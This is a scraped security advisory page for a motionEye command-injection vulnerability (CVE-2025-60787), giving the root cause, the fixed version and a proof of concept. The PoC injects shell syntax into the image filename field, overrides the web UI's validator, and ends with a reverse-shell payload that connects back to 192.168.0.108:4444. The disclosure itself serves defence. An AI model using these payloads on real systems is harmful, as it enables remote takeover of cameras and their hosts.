motioneye
Affected
- introduced
0, fixed0.43.1b5(ecosystem)
Fixed versions
0.43.1b5
Fix
- Fixed version
0.43.1b5pip install --upgrade motioneye==0.43.1b5
Advisory
Also known as: CVE-2025-60787, GHSA-j945-qm58-4gjx
motionEye vulnerable to RCE via unsanitized motion config parameter
Summary
A command injection vulnerability in MotionEye allows attackers to achieve Remote Code Execution (RCE) by supplying malicious values in configuration fields exposed via the Web UI. Because MotionEye writes user-supplied values directly into Motion configuration files without sanitization, attackers can inject shell syntax that is executed when the Motion process restarts. This issue enables full takeover of the MotionEye container and potentially the host environment (depending on container privileges).
Details
Root Cause:
MotionEye accepts arbitrary strings from fields such as image_file_name and movie_filename in the Web UI. These are written directly into **/etc/motioneye/camera-*.conf**. When MotionEye restarts the Motion service (motionctl.start), the Motion binary reads this configuration. Because Motion treats these fields as shell-expandable, injected characters (e.g. $(), backticks) are interpreted as shell commands.
Vulnerability flow:
Dashboard (Web UI)
↓
ConfigHandler.set_config()
↓
camera-*.conf written
↓
motionctl.restart()
↓
Motion parses config → executes payload
Affected code:
The issue arises in how config.py handles user input before writing to config files. No sanitization or allowlisting is applied to filename fields.
Proof of Concept (PoC)
The following steps reproduce the Remote Code Execution (RCE) vulnerability in MotionEye.
Tested using the official Docker image.
---
Environment Setup
docker run -d --name motioneye -p 9999:8765 ghcr.io/motioneye-project/motioneye:edge
docker logs motioneye | grep "motionEye server"
Result:
motionEye server 0.43.1b4
<img width="741" height="168" alt="version_ver" src="https://github.com/user-attachments/assets/ac85d238-da7f-4274-9381-0119c01a1320" />
docker exec -it motioneye /bin/bash
ls -la /tmp
---
Exploitation Steps
http://127.0.0.1:9999 <img width="1623" height="869" alt="add_camera" src="https://github.com/user-attachments/assets/d506a891-8b80-4b69-84f2-b195fcaca0cc" />
bash $(touch /tmp/test).%Y-%m-%d-%H-%M-%S <img width="739" height="104" alt="er1" src="https://github.com/user-attachments/assets/817549fc-5cb2-4959-b29d-5cec745e096b" />
<img width="611" height="90" alt="er2" src="https://github.com/user-attachments/assets/a68eec73-bade-4cc5-b65b-4fc2dfbc7f01" />
/static/js/main.js?v=0.43.1b4 → references /static/js/ui.js?v=0.43.1b4javascript function configUiValid() { $('div.settings').find('.validator').each(function () { this.validate(); }); var valid = true; $('div.settings input, select').each(function () { if (this.invalid) { valid = false; return false; } }); return valid; } javascript configUiValid = function() { return true; }; Interval Snapshots 10 bash $(touch /tmp/test).%Y-%m-%d-%H-%M-%S bash ls -la /tmp /tmp/test is created with root permissions, confirming code execution. <img width="554" height="164" alt="verify" src="https://github.com/user-attachments/assets/11122ba8-becf-4657-bc87-f88f293e8b02" />---
Weaponizing RCE (Reverse Shell Example)
bash nc -lvnp 4444 bash $(python3 -c "import os;os.system('bash -c \"bash -i >& /dev/tcp/192.168.0.108/4444 0>&1\"')").%Y-%m-%d-%H-%M-%S ---
Root Cause
image_file_name) from the Web UI directly into camera-<id>.conf. motion binary parses these fields as shell-expandable strings, leading to arbitrary command execution. Impact
Type: OS Command Injection → Remote Code Execution
Who is impacted:
Potential consequences:
High Basis: CVSS v3 score 7.2, vector CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
0, fixed 0.43.1b5 (ecosystem)0.43.1b5
0.43.1b5pip install --upgrade motioneye==0.43.1b5Fix commands are the export's own generic commands. Ojuju never runs them. Check them against your setup first.
Check your own computer: guard packages check
Source: PyPA Advisory Database · CC BY 4.0